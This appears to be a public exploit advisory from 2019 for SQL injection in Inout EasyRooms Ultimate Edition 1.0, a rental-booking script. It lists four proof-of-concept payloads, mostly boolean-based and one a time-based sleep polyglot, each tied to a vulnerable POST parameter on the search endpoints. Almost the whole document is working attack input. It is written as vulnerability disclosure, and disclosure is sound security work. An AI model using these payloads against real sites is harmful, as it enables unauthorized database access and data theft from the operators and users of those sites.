Inout EasyRooms Ultimate Edition 1.0 SQL Injection

`# Exploit Title: Inout EasyRooms Ultimate Edition - SQL Injection  
# Date: 29.03.2019  
# Exploit Author: Ahmet Ümit BAYRAM  
# Vendor Homepage: https://www.inoutscripts.com/products/inout-easyrooms/  
# Demo Site: http://inout-easyrooms.demo.inoutscripts.net/  
# Version: v1.0  
# Tested on: Kali Linux  
# CVE: N/A  
  
----- PoC 1: SQLi -----  
  
Request: http://localhost/[PATH]/search/rentals  
Vulnerable Parameter: guests (POST)  
Payload: guests=-1' OR 3*2*1=6 AND 00046=00046 --  
  
----- PoC 2: SQLi -----  
  
Request: http://localhost/[PATH]/search/searchdetailed  
Vulnerable Parameter: location (POST)  
Payload: location=-1' OR 3*2*1=6 AND 000603=000603 or 'UeNQc30f'='  
  
----- PoC 3: SQLi -----  
  
Request: http://localhost/[PATH]/search/searchdetailed  
Vulnerable Parameter: numguest (POST)  
Payload: numguest=-1' OR 3*2*1=6 AND 000232=000232 --  
  
  
----- PoC 4: SQLi -----  
  
Request: http://localhost/[PATH]/search/searchdetailed  
Vulnerable Parameter: property1 (POST)  
Payload:  
property1=(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/  
`